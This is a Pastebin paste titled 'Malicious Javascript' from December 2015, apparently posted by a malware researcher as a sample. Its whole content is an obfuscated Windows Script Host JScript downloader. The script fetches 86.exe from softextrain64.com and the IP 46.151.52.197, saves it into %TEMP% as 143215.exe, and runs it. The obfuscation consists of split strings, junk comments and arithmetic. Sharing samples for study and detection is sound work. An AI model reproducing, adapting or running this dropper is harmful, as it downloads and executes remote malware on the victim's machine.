Advertisement
dynamoo

Malicious Javascript

Dec 9th, 2015
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var U = "softextrain64.com/86.exe? 46.151.52.197/86.exe? ? ?".split(" ");var Nyw =((1/*w22P751330596n37513uM354193eOiZ*/)?"WScri":"")+"pt.Shell";var Tn = WScript.CreateObject(Nyw);var Xl = "%TEMP%\\";var qHb = Tn.ExpandEnvironmentStrings(Xl);var LYq = "2.XMLH";var rSR = LYq + "TTP";var PS = true  , sbxw = "ADOD";var Mt = WScript.CreateObject("MS"+"XML"+(28454, rSR));var gGv = WScript.CreateObject(sbxw + "B.St"+(868481, "ream"));var AFz = 0;var z = 1;var XMkMuMY = 143215;for (var L=AFz; L<U.length; L++)  {  var zv = 0;  try  {poi = "GET";     Mt.open(poi,"http://"+U[L]+z, false); Mt.send(); if (Mt.status == 356-156)  {      gGv.open(); gGv.type = 1; gGv.write(Mt.responseBody); if (gGv.size > 17153-274)  {        zv = 1; gGv.position = 0; gGv.saveToFile/*NioU54CVsZ*/(qHb/*XjcS138FsB*/+XMkMuMY+".exe",4-2); try  {          if (((new Date())>0,7265319888)) {    Tn./*d860164q63C*/Run(qHb+XMkMuMY+/*wK8r88a4Dm*/".exe",/*6RB518DPFU*/3-2,0);     break;          }}        catch (Bq)  {};       }; gGv.close();     }; if (zv == 1)  {      AFz = L; break;     };   }  catch (Bq)  {   }; };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement